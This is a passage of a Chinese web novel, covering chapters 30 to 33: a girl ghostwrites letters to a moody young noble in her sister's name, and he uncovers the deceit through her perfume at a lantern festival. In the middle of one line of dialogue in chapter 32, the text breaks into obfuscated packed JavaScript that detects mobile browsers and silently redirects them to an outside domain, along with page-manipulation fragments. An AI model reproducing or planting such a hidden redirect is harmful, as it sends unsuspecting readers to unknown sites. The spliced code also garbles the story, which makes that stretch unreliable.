眼角点着两颗朱砂痣,笑起来时,左脸颊有个深深的梨涡。 “对不住对不住!”女子把瓷罐往柜台上一放,袖子撸到肘弯,手上的金饰哗啦啦地响。 “将这花蜜加到珍珠粉里调制,姑娘的脸只怕是还会白嫩不少呢!”女子对着之前夸赞不止的那个姑娘道。 “今日真是巧了,碰见江老板。” 江宜苏将袖子放下来,说话时眼睛里闪着光,明明和展清梦一般大的年纪,举动却要活泼许多。 展颜张了张嘴,看着江宜苏神采飞扬的样子,又看看阿姐规规矩矩的模样,突然觉得平日里自己的跳脱顽皮都算不得什么了。 将花蜜的诸多事宜与下人交代好,江宜苏三两步走到香膏台前,指尖在旋转桌板上轻轻一推,驮着香膏的小金马又开始转起圈来。 “这位姑娘,可是想要挑一款香膏?”注意到展颜站在桌边,腰间又没有佩戴香囊,江宜苏 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展清梦指尖沾了点膏体抹在自己的腕间,忽而轻声问道:“可有更淡一点的?比如……近乎无香?” 江宜苏挑了挑眉:“近乎无香?” 展颜凑到展清梦面前:“阿姐你不是喜欢茉莉吗?怎么突然不喜欢了?况且香膏本就是图一个香气四溢,哪有近乎无香的。” 在展颜疑惑的目光里,展清梦低头看着手里的瓷盒,面颊泛起微微的红晕:“狩猎那日,我见到有姑娘送了祁小将军一个香囊,被他原路奉还了,想必是习武之人闻不惯太浓的花香。” 展颜闻言神色一下子振奋,抓住展清梦的肩膀摇晃道:“阿姐你居然为了祁泽川换香膏?你怕不是……” 展颜大胆猜测,展清梦这是已经开始在乎祁泽川了。 “没有的事。”展清梦连忙否定,“我只是偶尔想到罢了。” 解释就是掩饰,掩饰就是事实。但是既然展清梦还在试探阶段,展颜也就先不戳破。 “阿姐你放心,不管你戴的是什么味道的香膏,那祁小将军喜欢的就是什么味道。退还香囊是因为他不喜欢送香囊的人,但若是他的心上人,自然是什么都稀罕。你信我的。”展颜对展清梦眨眨眼。 “真的?” “真的。”江宜苏接话道,她方才在边上已经听了一耳朵,“刚才听两位姑娘的对话,想必二位就是展家的姑娘吧。这香膏本就是为女子而生,不为讨他人的喜欢,姑娘心悦哪一个便是哪一个,喜欢的自然喜欢,怎能委屈自己成全他人?” “就是。”展颜点头。 “再者,我这茉莉香膏里还加了安神的合欢花,若是展大姑娘与祁小将军两情相悦,自然保准祁小将军闻了……心神荡漾。” 江宜苏说完,嘴角上扬。 展清梦脸颊绯红,刚想开口辩解就被展颜推着走去结账。 展颜边推着展清梦边回头对着江宜苏道:“今日多谢江老板了!” 展颜想到,这江宜苏可真是有趣,同道中人,可以深交! 指不定日后就有相求之事。 30.卿卿 出门这一趟,展颜的心情倒是放松了不少,派人将书信送到祁府之后,得了几日空闲。 趁着祁浮生想如何回信的功夫,展颜把这几日的注意力投放到了展清梦的身上。 说实话,在花间露里展清梦的那一番话语属实是令展颜悲喜交加。 喜的是男女主的感情在正轨里稳定前进,没有被其他人干扰,甚至可以说是突飞猛进。 悲的是展清梦这边已经开窍了,但是祁泽川那边却还是无动于衷。 这不是纯纯消磨展清梦的感情嘛。 展颜这几日常在暗地里观察展清梦,总是发现她魂不守舍的,在院子里练习女红的时候,以前不会绣错的针法如今是频频失误,不时还会扎到自己的手指。 在外逛街的时候,也是老往一条道上张望。 展颜还是问了秋果,才知道那条道是祁泽川从武场练兵回来经常会走的路。 可是当展颜问她的时候她却什么也不说,偶尔愿意聊几句还在一直怀疑祁泽川的所思所想,那是极其的不自信。 “阿颜,你说祁小将军是如何想的?”展清梦问她,语气里带着疑惑。 “还能是如何想的?阿姐!你可是京城里多少公子的梦中情人!他祁泽川定然也是对你一见倾心!还记得之前在如意茶馆那日祁浮生说的,祁泽川因为被你误会可是纠结了好几日,他肯定对你有意!”展颜激动道。 “是吗?可若是他对我有意,为何从来不曾找过我?可若是对我无意,又为何会在意我说的话?”展清梦纠结道。 在其他事情上如此果断的人,为何在感情上就如此纠结?展颜扶额。 “我觉得他应该还是对我无意。”展清梦最终得出结论。 展颜:“……” “阿颜,你与祁二公子交好,可不可以帮我试探试探他大哥的意思?”展清梦小心翼翼问道。 “啊???” 这下轮到展颜进退两难,开始打马虎眼了。 这要放在以前,她绝对乐意代劳,但要是现在,她若是答应了,无疑是自己往火坑里跳。 但又不能说不行,要是她拒绝,不知道展清梦自己会做出什么事情来,若是不小心戳破让祁浮生知道了她背地里代替展清梦给他写回信的事情,那她就更加必死无疑了。 展颜也只能先应下。 哄着展清梦这边倒也容易,因为毕竟祁泽川就是喜欢展清梦,说的都是实话,展颜心里没有什么压力。 但祁浮生那边就不一样了。 本来是三四天回一封信的节奏,许是展颜回信给的情绪价值太高,祁浮生那边的寄信频率是越来越勤,到最后甚至到了展颜每天都能收到回信的程度。 展颜是白天坐在书桌前苦思冥想,埋头苦写,要是白天写不完,就晚上点着蜡烛窝在被窝里想。 一朔望下来,熬得她是苦不堪言,眼下发青,都瘦了。 有一次展颜信回得慢,中间隔了一日才送出,结果收到回信的时候只见祁浮生在信纸的最后一行加了一句:晚了一日,可是嫌浮生烦了? 不敢了,不敢了。 就怕再晚一次,祁浮生就要找展颜问个所以然,到时候该如何编谎就难说了。 *** 安福今日依旧蹲在祁府的门前,等着秋果来送信。 只见远远街道上一个人影蹦蹦跳跳地走来。 像往常一样,秋果将信交给安福就要走,可这次安福终是忍不住开口问道:“展大姑娘的信,为何每次都是你来送啊?” 秋果摇头,按照自家姑娘早早就教过的话术说道:“大姑娘毕竟现在是在谈婚论嫁的年纪,写信给予你家公子的事情万一被别人发现了影响不好。” “我家姑娘说她没关系,毕竟和祁二公子熟,别人也不会说什么。” 安福点点头,这在理,于是便将信拿着进了院子交给公子。 祁浮生见信来了,忙放下手里的书,等安福出去后,迫不及待地打开。 经过一月有余的书信交流,祁浮生和“展清梦”交流的亲密程度早已大大提升。 开头一句,直接甜甜地撞进祁浮生的心里。 「卿卿,今日可还安好?」 卿卿?这还是她第一次这般唤他。 祁浮生唇角不自觉地上扬。 「卿卿,今日起迟了,过了午时才给你写信……」 「卿卿,昨日新得一本琴谱,改日与你细细详说……」 「卿卿……」 信里都是些无关紧要的琐事,比如早上几时起的,吃了什么,空闲的时候读了什么书,又或是出门见着了什么人。 虽内容无趣,但祁浮生却看得津津有味。 脑海里幻想着展清梦在亭子里抚琴的画面…… 边上还坐着…… 边上…… 啧。 祁浮生皱眉,脑海里自动浮现出展颜笑嘻嘻的面庞。 怎会想到她? 小小一张脸,在展清梦身边笑得灿烂明快,好像什么烦心事都不会影响到她。 怎么会有人天天都这般开心。 祁浮生睁眼摇头,想把展颜在脑海里的身影挥散掉,却发现睁眼后,展清梦的影子逐渐削弱,展颜却越来越清晰。 这是为何? 苦皱着眉头思索,想到什么,骤然放松。 一定是因为他,祁浮生想着,一定是因为自己体内存在的另一份灵魂,才让他的对展颜的感情有所变化。 对!一定是这样的! 心情松快,祁浮生重又拿起信纸,细细抚平,手下力道极轻,带着快溢出来的珍爱。 他一遍又一遍地看着,念着,直至将信纸上的内容几乎烂熟于心,才肯放下。 今日被开头的一句“卿卿”勾住了魂,直到如往常一般将信放回信封时,祁浮生才闻到一丝与往日不同的异香。 带着点甜暖的香调,令人抓心挠肝。 拿着信的手微微顿了顿,还是没忍住,将信靠在唇边,闭上眼,深深吸上一口气。 很甜,以往都是淡淡的,她换香了。 桌上的蜡烛滴下烛泪,火光晃到了眼,祁浮生回过神,将信仔细放进了信匣里。 良久,他叹口气,气口有些浊重,带着一丝难耐。目光掠过书案,最后落在书案后 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不仅之前的忽悠全白费,她的小命也会受到极大的威胁。 她一定要阻止这件事。这次又应该编造一个什么借口?展颜皱眉想着,只觉得气闷,伸手打开一边的窗户,外头的清风吹了好一会儿,还是吹不去她脸上因焦虑而掀起的层层燥感。 闭眼想了好一会儿,展颜不禁打了个寒颤,要是直接拒绝,不知道祁浮生这病娇会干出什么事来,上次他掐脖子的事她还记得清清楚楚,仿若昨日,历历在目,可不想再体验一次。 展颜两腿盘在椅子上,两手揪着发髻上的两根发带,交叉握在手中,紧贴着自己的脸颊,就差把自己的头缠成一个茧,怔怔地看着信纸发呆。 突然,她眼睛一亮,松开发带,抓起笔在回信上刷刷写道: 「蒙公子相邀,不胜感激。然吾已与舍妹相邀同游,若公子不弃,亦可共往一叙。」 嘟着嘴将纸上的墨迹吹干,展颜看着自己写的话都乐了。 “到时候再以我的名义邀请上祁泽川,一来祁浮生不能在众人面前直言不讳,二来若是祁浮生要与展清梦走得近了,祁泽川定然会有所吃味,经过这一招,祁泽川也会明白自己对展清梦的感情。”展颜分析。 一石二鸟,她还可以跟在一旁把关,不错不错。 把信叠成小方块状塞进信封,展颜将信交给秋果,看着秋果走远的背影,又拿笔写下一封送给祁泽川的信。 等到信都送出去了,展颜如释重负地趴在窗台上数着池塘里游过的锦鲤,随手拿过鱼食,碾碎了些撒进池子里。 顿时,锦鲤尽数争着游过来呼啦啦地抢食吃,原先平稳的水面泛起波涛。 祁泽川那木头应该会答应的吧?毕竟她在信里有意无意地提过一嘴展清梦也在。只要他在,阿姐眼里就没别人了。 展颜对着满池的锦鲤许着愿,小锦鲤呀,一定要保佑她平平安安度过这个花朝哦。 31.花朝1 农历五月初一,大燕历来有花朝相会,情意绵绵的说法。 除去国宴,元夕等,花朝节可算的上是京城里少女儿郎们最在意的节日。 花朝节最出名的是天幕落下之后,城里随处可见的花灯。 街道商铺廊下挂着的走马灯,沿街悬挂的琉璃花盏,每盏都雕刻着不同的纹样,在夜风中轻轻晃荡,碰撞,发出叮叮当当的悦耳音响。 城里三条河道的交叉口会早早搭起个戏台子,在花朝这日的酉时准时上演“花朝神话”。 台上水袖翩飞,台下河面上会漂过成百上千的河灯,每一盏都寄托着一个真挚的愿望。烛光透过纸灯在水面上投下晃动的光影,顺流而下,与天上的星月,两岸的彩灯连成一片。 路上挂的,水里漂的,自然也少不了天上飞的。 花朝夜晚,万盏孔明灯追上天幕,橙黄橙黄一片,竟比一年一次的烟火会还要震撼几分。 整个燕京都沉醉在花火之中。 猜灯谜,品汤圆,摸铜钉;持花灯,举糖人,对诗词……姑娘们三五成群地逛着,鬓边不是真花,便是巧夺天工的绒花。有大胆的后生举着兔子灯跟在心仪的姑娘身后,灯柱上还绑着刚买的桃花枝。 光是想想,展颜就已经迫不及待想要上街一睹花朝的风采。 “阿颜可是快了?不是昨日还嚷嚷着想要阿姐陪你去看城中的‘花朝神话’,若是再晚一点过了酉时,就没有好位子了。”展清梦站在展颜的屋外,轻叩木门。 正听见屋内传来清脆的珠玉碰撞声。 “好了阿姐!” 话还未说完,木门被仓促地打开。 一个小姑娘迎面撞进展清梦的眼里,朱唇粉面,明眸皓齿,两髻梳在脑后,珠钗步摇带了个遍,活脱脱一个小兔子。 “阿姐你看!”展颜转着身,眉眼弯成月牙,展示着自己的新衣,“这衣服裙摆边上有一圈铃铛,走起来可热闹了。” 说着,展颜特意走上几步,裙摆的铃铛发出“叮当”的细碎声响。 展清梦走近,笑着将她头上歪了的步摇扶正:“好听,今日花朝,街上人多,坐不了马车,走的路又长,戴这么多珠翠不怕累?” 展颜抓起妆台上的软缎披帛往肩上一搭,那披帛是淡黄色调的,与她今日的水红色衣裳倒也相配。 “不累!”展颜笑道,拉着展清梦的手就出了院子。 “嗯?怎么不见爹娘?”展府里昨日就已按照花朝的格调布置妥当,只是今日却格外安静。 “阿爹自然是陪娘过花朝去了,他们啊年年如此,你我也别去打扰了,省的还给他俩老人家添堵。”展清梦道。 *** 两人上了街,展颜看着这般热闹的景象真是呆住了,人来人往,只在画本子里见过这样的画面。 看什么都觉得新鲜,搞得她今日玩心大发,干脆不想管那两男的,只想和展清梦好好畅游一番。只是生存所迫,无奈,也只能自己想想了。 酉时还未到,展颜二人便也不紧不慢地往城中走。 展颜本意就不是为了看什么“花朝神话”,只是送出的两封书信里约好的地点皆是在戏台前,毕竟坐标清晰,方便寻人。 算算时间,祁泽川和祁浮生现在应该是已经到了,只是不知道线下是个什么情况。 “你看那是祁家二公子吗?”有站在戏台前的姑娘回眸,正巧看见了站在一旁树下的祁浮生。 锦衣而立,表情冷淡,一双眼眸望着对街的方向。 “那个!你看那边!是祁小将军吧?”有姑娘又道,只见另一旁的花车之后,祁泽川迈着步子走过来,许是看见了自家二弟,一脸笑意地走到祁浮生身边。 “是啊。”另一位姑娘兴奋应到,“这祁家的公子这是在等人吗?怎都生得这般俊俏,不知道京城里哪家的姑娘有幸可以得到祁家的青睐。” “祁二公子在狩猎场上的样子你们见着过吗?”有一姑娘骄傲道,“我大哥可是同我说过!” “什么样的说说呗!” “是啊,说说呀!” 那姑娘清嗓正色道,一脸得意:“一骑绝尘,仙人之姿!”其中不乏其添油加醋的成分。 可姑娘们听了皆是神色向往,痴痴地幻想着。 祁浮生一记目光往这边看过来,姑娘们皆是惊喜万分,连说话的声音都打上了颤。 “祁二公子往这边看过来了!祁二公子刚刚看我了!” “明明是我!” “我倒觉得祁二公子冷了些,祁小将军更温和,带兵打仗,身体也是极好的!更是良配!” “光在这幻想有什么用处。”一道酸涩的声音响起,阮芊芊踱步过来,身边还跟着白瑾瓷,“你们莫不是不知祁浮生现如今被展颜勾得死死的,祁小将军也是倾心于展清梦。” “你说这话,可有实证,莫不是空口无凭,随意指摘?”那姑娘闻言一愣,心里难过但仍是赌气道。 “狩猎我就在场,看的那是清清楚楚,你去过吗?”阮芊芊道。 “我……” 在狩猎场上她就偷看到了,祁浮生耐心教展颜骑马的样子,原先冰冷的眉眼那日却极其罕见的温柔似水。 再结合月试那次祁浮生对展颜的维护,阮芊芊认定绝对是展颜这人勾搭上的祁浮生。 距离上次狩猎给展颜的马下药已经过去一月有余,为了避免展家查找到幕后操控草料的始作俑者,她阮芊芊可是按耐住性子躲了许久。 自己在狩猎场上丢了脸,没有招到三皇子或是太子的目光,展颜却不仅没受什么伤,还得祁浮生相救,一时间佳话相传,她心里是越来越不平衡。 光有她一人针对展颜有何用,不如引得众人的不满。 阮芊芊轻笑道:“展清梦有才,得公子青睐无可厚非,但那展颜呢?诗词歌赋样样不会,光是一个贵女头衔就能得到祁家公子青眼,尔等可服气?” 少女们的内心毕竟稚嫩,三言两语也就被阮芊芊带偏,心里自然也是起了怨怼。 见已经引起众人的不满,阮芊芊的目的已经达到,默默退后,远离这即将会发生是非的地方。 展颜你等着吧,这回可不会便宜你了。 *** 展颜同展清梦到了戏台前,远远就看见站在树下的祁泽川和祁浮生。 这俩家伙不仅见到了,还已经站在了一起。祁浮生一脸的无奈,祁泽川则是笑着一张脸,憨憨的模样。 展颜立马收起向四周张望的好奇目光,准备开始打马虎眼。 “展姑娘,今日——”祁浮生见到展清梦,眼里一下子亮堂起来,快步上前唤道 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展颜示意展清梦走在前面,自然而然,祁泽川走在了展清梦的边上。 “你到底想干什么!”祁浮生和展颜只能并排走在两人的身后。他的手腕还被展颜死死攥着,压低声音,祁浮生用只有他们俩可以听见的声音道。 “你忍忍吧,现在走到展清梦的身边献殷情只会让她觉得你轻浮了。”展颜忽悠他,反正他也不懂。 果不其然,祁浮生手腕子反抗的力度减弱了些。 “真的?”他侧头看着展颜问道。 “当然是真的,我什么时候骗过你?你就说吧,这几日用书信和展清梦交流是不是进展的很快,她是不是已经不是之前对你爱答不理的模样了?”展颜道。 如此想来,确实是这样。 展颜看着祁浮生犹豫的样子知道他已经被自己忽悠成功了,趁胜追击道:“你就听我的,准没错!” 正说着,展清梦许是觉得后面俩人有些安静,猝不及防地回头看了一眼。 展颜话说到一半立马回头对上展清梦的目光,没注意到自己的两只手还紧紧拉着祁浮生的右腕,如今偏头的样子就像靠在祁浮生的肩上一般。 “嗯?阿姐怎么啦?”展颜被展清梦这么一看不免紧张,自己刚才说话的声音应该不大吧。 展清梦见如此情景不由瞳孔一缩,忙遮掩面上的慌张:“呃……没事,阿姐就是看看你。”随后赶紧将头转了回去。 展颜眨巴着眼睛:“?” 原来如此,展清梦想着,阿颜叫来祁泽川同游是为了遮掩和祁浮生共游花朝。 这两个小家伙,展清梦不禁微笑出声,用手轻轻挡住脸。 这边的景象还算和谐,但是街角却已经炸开了锅。 有姑娘咬着帕子。 “她怎么能把头放在祁二公子的肩上!” “真是轻浮!” “就是!” 展颜走着,突然鼻痒难耐。 “阿嚏!阿嚏!” 祁浮生皱眉,趁着展颜手下放松的功夫将自己的手腕急不可耐地抽回来。 “你是不是骂我了。”展颜睨他一眼。 “我倒是想。”祁浮生冷声道。 “切。” 32.花朝2 河边的长廊早已挂满了各式的花灯,就等着才子携佳人前来共解。 每只灯都系着银铃,银铃间又是各色的灯谜笺,风起时银铃叮当声与灯谜纸条的哗啦声交织成曲,长廊犹如一片流霞。 京城会试还有段时间就到了,城里多了些穿着青衫的外乡学子。 长廊的一盏灯下,正围着二三学子皱眉沉思。 自从祁峰退下将军之职,成了兵部尚书后,祁泽川就代替父亲常年驻守在边关,对京城里的花朝了解不多,对灯谜更是一窍不通。 他抓过一张谜面,盯着上头的文字:“云破月来花弄影,打一字,这是?” 浓眉都拧成了疙瘩,还是没想出来。 展清梦看着他这样,笑着摇摇头,指尖轻点在纸面上:“云破为‘厶’,月来取‘月’,花弄影即是‘匕’,合起来就是一个‘能’字呢。” 她话音刚落,祁泽川恍然大悟,鼓起掌:“还是清梦姑娘聪慧!我对这弯弯绕绕的灯谜可是一窍不通。” “不急。”展清梦抬眼望他,见他这憨厚样子倒也放松下来,指着一边的另一盏花灯道,“多试试就会熟悉的。” 见两人一来一往,有问有答的亲近模样,祁浮生眼下都气得发红了,两手紧紧攥在身侧。 前面岁月静好,身边的威压却令展颜脚趾抓地。 这家伙不会干出什么吧。 “东风第一枝?”祁泽川念道。 展清梦期许地看着他。 可祁泽川却迟迟答不出。 展颜感受到祁浮生的呼吸声加重了许多,还未来得及询问,就见祁浮生两步走到两人中间,看着谜面乖乖道。 “梅花。” 展清梦闻声道:“东风报春,第一枝当属梅花,祁二公子好才华。” 展颜看见祁浮生的嘴角不易察觉地微微上扬。可一侧的展清梦虽夸赞了他,但目光仍是注视在祁泽川的身上。 望着祁泽川略显窘迫的模样,展清梦反倒更加耐心,一一拿过谜面教他解灯谜。 祁浮生微扬起的眉眼重又黯淡落下,双手紧握直至指节泛白,看着二人解着灯谜,脚下的步子踌躇,挪动几下,终究是没有跟上去。 看着展清梦为祁泽川讲解时眼角的笑意,只觉得喉间泛起一阵腥味。 那是一种不甘,为什么是不甘。 展颜看祁浮生这般纠结的样子,也是可怜,不仅被她蒙在鼓里骗,还被自己所谓的白月光“丢”在身后。 终是不忍心,算了算了,那她就勉强陪陪他吧。 展颜戳了戳祁浮生的胳膊:“那个……祁浮生,我这也有不会的灯谜,你这么厉害,教教我呗?” 说着,展颜将祁浮生往长廊另一个方向扒拉着。 长廊尽头是一扇闭着的月洞门,门前立着座旋转花灯,灯盏泛着灿灿的光亮,八面都嵌着面琉璃镜,镜间夹着谜笺。转动时,镜中灯影与图案交叠,恍若置身幻境。 祁浮生不情不愿地跟着展颜走过来。 “你看你看!就是这个!”展颜夸张道,“‘人面不知何处去’,打一朵花,是什么呀?好难猜呀?是桃花吗?” 边说,展颜边瞄着祁浮生。 祁浮生斜睨她一眼,语气略显不耐烦:“蠢死了,是杏花。” 展颜被他骂得鼓起腮帮,却见他眼里的落寞,原先冒到嘴边反驳的话又咽了回去。 将谜底打开,确是一个红红的“杏”字在其后。 “哇!祁浮生你还蛮厉害的嘛!”展颜兴奋道,用力拍了拍祁浮生的肩膀。 祁浮生没来得及反应,被她一掌拍得竟往前踉跄了几步。 “公子有才,哈哈哈。”设置灯谜的店家笑道,“若全部猜出这八面琉璃镜里的灯谜,可以免费获得我们店的一碗芝麻汤圆。公子可要试试,为身侧的小娘子赢一个彩头?” 旋转花灯有八面谜题,既然有奖品,展颜定然是当仁不让,嘿嘿,芝麻汤圆,她来了。 “好!”展颜道。 “不——”祁浮生的话还未出口就被她生生截住。 “祁浮生,你帮帮我嘛,汤圆很好吃的!” “我猜你吃,你想得美。”祁浮生想也不想就拒绝。 “别呀,你这么厉害!”展颜再次劝道,抓着祁浮生的袖子像荡秋千一样摇着。她现在要做的就是死皮赖脸,“祁浮生祁浮生!快帮我猜猜嘛!” 祁浮生嫌恶地皱眉,想甩开她晃着自己袖子的手:“松开,成何体统!” 哈!?有生之年还能听到他跟她提成何体统?展颜闻言嗤得笑出了声。 祁浮生的腕子被展颜温热的掌心包裹着,隔着衣服面料都能感受到那灼人的温度,听到她一声轻笑,霎时又羞又恼,耳尖不受控制地泛红。 记忆里从未有人如此亲昵地拽着他,从未。 此刻展颜这股鲜活的暖意让他浑身僵硬。 “就猜一个嘛!”展颜仰着小脸,睫毛在灯光下投下扇形的阴影,“你看那汤圆。” 展颜指着店家桌上摆着的一碗碗汤圆。 “那芝麻馅肯定很香!” “你不能自己买一份吗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663420|169825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”祁浮生开口,声音有点暗哑。 “这不一样!这是你得来的!是你猜灯谜得来的!”展颜见祁浮生有所动摇赶紧夸他。 是……他得来的? 祁浮生不自觉咽下一口唾沫,可能是因为紧张,也可能是因为惊讶。 展颜晃得更加用力,祁浮生这次竟没再用力挣脱。 “千里相逢?” “千与里相逢,是‘重’。” “这个……” “是……” 展颜问得兴奋了,忘记撒开祁浮生的手,就这样拉着他在八面花灯前来来回回打着转。 祁浮生也就任她牵着。 “最后一个了!”展颜略微俯身凑到最后一盏琉璃镜面前,花灯的光落在她脸上,把细小的绒毛都镀上金边,嘴角因为开心微微上扬。灯光在瞳孔里凝聚成一点,像两颗小星星。 “腹中香甜如蜜,心中花团锦簇。”语罢,展颜抬头看他。 “是……汤圆。”祁浮生一愣,别开脸,声音闷得像被棉花堵住一般。 谜底一翻,红红的“汤圆”二字映入眼帘。 展颜立刻欢呼着跳起来,拽着祁浮生就往店家的摊子前跑去,边跑还不忘继续夸他。 “祁浮生你好厉害!全京城就没有你不会的!” 这一连串的夸赞像是颗颗蜜糖砸进他的心里,砸开一条细缝,让常年阴冷的心房透进点暖光。 店家递来碗热腾腾的汤圆,展颜小心翼翼地捧过,吹气放凉,鼻尖沾上一点水汽。 祁浮生的目光定在她吹得鼓鼓的脸颊上,原来在花灯的照映下,她的脸也是粉粉的,还……挺可爱。 “发什么呆呀!”展颜用勺子敲敲碗边,“快吃呀,凉了就不好吃了!”说着,舀了一个汤圆给他。 “我不吃这种幼稚的东西。” “很好吃的!真不吃?”展颜道。 “不吃——唔!” 展颜直接将汤圆顺着勺子塞到祁浮生还没合上的嘴里。 “嘿嘿甜吧,不许吐出来,阿姐不喜欢浪费粮食的人。”展颜威胁他。 汤圆里绵绵甜甜的芝麻馅在祁浮生的口中缓缓弥漫开来,紧缩的眉头慢慢松开。 好甜……和那日的糕点一样甜。 祁浮生低头咽下汤圆,又偷偷抬眼,见展颜正兴冲冲地一个接着一个吃着,吃完后用舌尖轻舔着嘴角的糖汁。 本来一路上总觉得她衣裳首饰还有一张小嘴,哗啦啦,叽里咕噜地吵闹成一片。 不过现在看来,他也不是那么讨厌热闹了。 33.花朝3 就这样,祁浮生看着展颜吃下了整整一碗的汤圆。 这家伙,还挺能吃。 展颜吃完之后,将手里的瓷碗归还给店家,踮着小步子又跑回祁浮生的身边,衣摆的铃铛晃动,发出哗啦啦的声响。 展颜顺势又拉起祁浮生的袖子,她准备带他到街上走走,反正只要远离阿姐他们就成。 让祁浮生好好冷静一下,也给那一对神仙眷侣一些单独相处的时间。 过程出奇的顺利,祁浮生没有像展颜想象里那般拒绝,反而一言不发跟着她的步子上了街。 展颜个子不算高,小巧一个,头顶本就堪堪到祁浮生的下巴,今日花朝扎的发髻让她显得高挑了不少,但也苦了祁浮生。 小姑娘本就好动,现如今到处是新鲜事物,展颜在街上这边看看,那边瞧瞧的,脸儿摆来摆去的,发髻上的簪子不时会甩在祁浮生的脸上,一开始少年还会皱几下眉头,之后便也熟悉她这咋咋唬唬的性子,习以为常起来。 祁浮生看着展颜的笑眼,想到了之前在香积寺那日,她的头发打在脸上明明是冰冷的,甚至是有些刺痛,为何身体里的那一个他倒有了些心跳加快的感觉。他一直觉的那人幼稚,离谱,不可理喻。可如今这珠钗扫过面颊,确实硌得慌,但……心里却好似受用的很。 甚至暗暗期待下一次的触碰。 随着小人儿飘过的,还有她身上隐隐的,独一无二的一股甜香…… 只是这香气,有点熟悉。 祁浮生不由轻嗅,垂在身侧的手指轻捻着,逐渐亮堂起来的眼眸里重又添上几分冷意。 还未知情的展颜欢欢喜喜拿过一个花灯,想问问祁浮生这个花灯造型如何,可刚一回头,就见那人正一脸戾气地盯着她。 她……这是又犯了什么事了吗? “你可是换了香膏?”祁浮生盯着展颜的视线没有移开,那目光反而越来越犀利,像是要把她看穿。 不像是疑问,更像是已经给她定了罪。 “啊?”展颜疑惑。 好端端的,问她换没换香膏做什么? “换了呀,很香对吧!”展颜不明所以,还特意绕着祁浮生转了个圈,“这是我新买的,甜甜的很好闻对吧!” 脸上的笑意还未褪去,展颜直觉的腕间一紧,随之而来的是碎骨般的疼痛。 右手被祁浮生牢牢攥住,指头一下子脱力,手里的花灯没了纤指的掌控,一下子掉落在地上,发出“啪嗒”一声轻响。 “疼疼疼!”展颜无意识轻唤出声。 可是眼前之人的眼神比那腕间的桎梏带来的压迫感还要强上好几倍。祁浮生不等展颜开口说其他的话,就直接将人推进了一旁灯光微弱的小拐口。 “你放开我,不要伤我家姑娘!”秋果心急道。 身后的安福被祁浮生命令守在街口外头,秋果被安福拉着,挣不开,只能眼睁睁看着姑娘被祁浮生带进了巷子。 后背仓促抵上冰冷的墙壁,展颜一脸无辜地抬眼看着祁浮生。 “别用这种眼神看我。”祁浮生道。 停顿片刻,见展颜还是一脸不明所以的神态,他继续道:“展清梦送来的书信,有你身上香膏的味道。” 希望不是他想的那样,祁浮生等着展颜开口。如果她说是,他应该会气恼到直接掐死她。但如今心里却升起一丝侥幸般的想法,在告诉他即使她说是,也没什么大不了的。 祁浮生说得简单直白,完全不藏着掖着,以至于展颜听后立马明白了他的所思所想,脑子霎时又一片空白,从脚底开始,一个冰凉冰凉的麻意直冲头顶。 完了失策了,怎么会忘了这个。 从花间露回来之后她就等不及换上了新买的香膏,这香膏留香竟然这般厉害,仅仅是被她压在腕下写上几个字,就染上了香气?这下叫她如何解释。 展颜的眼神不免有些心虚闪烁,躲闪不已。快想啊,快编出个借口来。 “为什么不说话?所以,是我想的那样吗。”祁浮生加重了手下的力度。 手腕疼到极致,眼泪花都开始在眼眶里打起转了,忍着剧疼,展颜连忙道:“我可以解释!” 腕子上覆着的手突然颤抖,展颜感到手腕上的压力突然消失。 “其实——喂!你怎么了!” 她正欲开口为自己辩解,话还未说完,只见祁浮生脸色一变,捂住额角闷哼一声,原先站得挺拔的身姿现下也是微微俯下。 就如同被天雷击中了头颅,被千千万万只蛊虫同时啃食脑仁,被一只高速的锋利箭矢直接射穿眉心,毫无征兆的,祁浮生的头一阵剧痛,疼到他差点站不住脚,疼到手发抖,疼到视线都模糊下来。 断药已经一个多月,他这头疼是一日比一日严重,但平日里这疼痛都在子时发作,今日不知为何,竟提前了。 扶额,祁浮生难耐地退后半步,呼吸急促。 “你没事吧?这是头疼还是——”展颜快步上前想扶住看起来摇摇欲坠的祁浮生。 “别过来!” 别过来,会伤到你。 祁浮生深吸一口气,强忍着疼痛,迈步后退远离展颜,抬手阻止她继续往前。 “你……站在这等着,等我回来继续问你,要是到时候我见不到你……”祁浮生看着展颜,故作镇定,眼里是赤裸裸的威胁和警告。 他匆匆离开,留下展颜一人愣在原地。 祁浮生走后,秋果满脸泪痕地跑进来:“姑娘!你没事吧姑娘!那祁公子为何会突然将你拉到这无人的小巷里啊!”秋果攥着展颜的袖子,不论展颜如何劝都不肯再松开。 “好了好了,赶紧离开这里。”展颜从方才的惊讶之中回过神来,带着秋果赶紧离开巷子。她不好同秋果讲清楚事情的因果经过,也讲不清楚。 祁浮生让她待在巷子里等他回来,她怎么可能会乖乖就范,他刚才就跟疯了一样。等会儿若是真的还要质问她,她草草编造的借口他定然是不会信的。留在这里做什么?留在这里等他一会儿回来,明白真相后把她送到阎王的生死簿上去吗? 赶紧回府躲着吧! *** “公子!你去哪!”安福见自家公子突然跑出来赶忙问道,手下一松放开秋果,抬脚就跟上祁浮生。 “别跟过来!”祁浮生不想让其他人知道他没有喝药的事情,要是最后被父亲知道了,一定会强制让他重新续上的。 脚步略带虚弱地跑出巷子,祁浮生快步找到一条无人的昏暗小巷子,胸腔痛苦地剧烈起伏,他靠在院墙后,逐渐滑坐在地。 最热闹,是花朝。 可如今,这巷子里现下寂静得可怕,十几丈之内,仿若只有他一个活物,能清清楚楚听见他痛苦的喘气声,再没有其他声音。 这才是本应该属于他的花朝,孤独的,寂静的。 他本就不应该存在于温暖之中,那是他不该奢求的,不敢触碰的。 头痛欲裂,脸上逐渐渗出细汗,祁浮生双手抓地,指尖因为用力,在地上磨出几道隐约的暗红色痕迹。脖颈因为忍耐疼痛开始泛起红晕。 有东西划破他的记忆,横冲直撞地闯入他的脑海里。 草地上架起了篝火,耀眼夺目,吸引着祁浮生的目光。男女老少穿着长袍长裙,站在篝火周围尽情地跳着舞,火舌舔向夜空,将每个人的脸都映 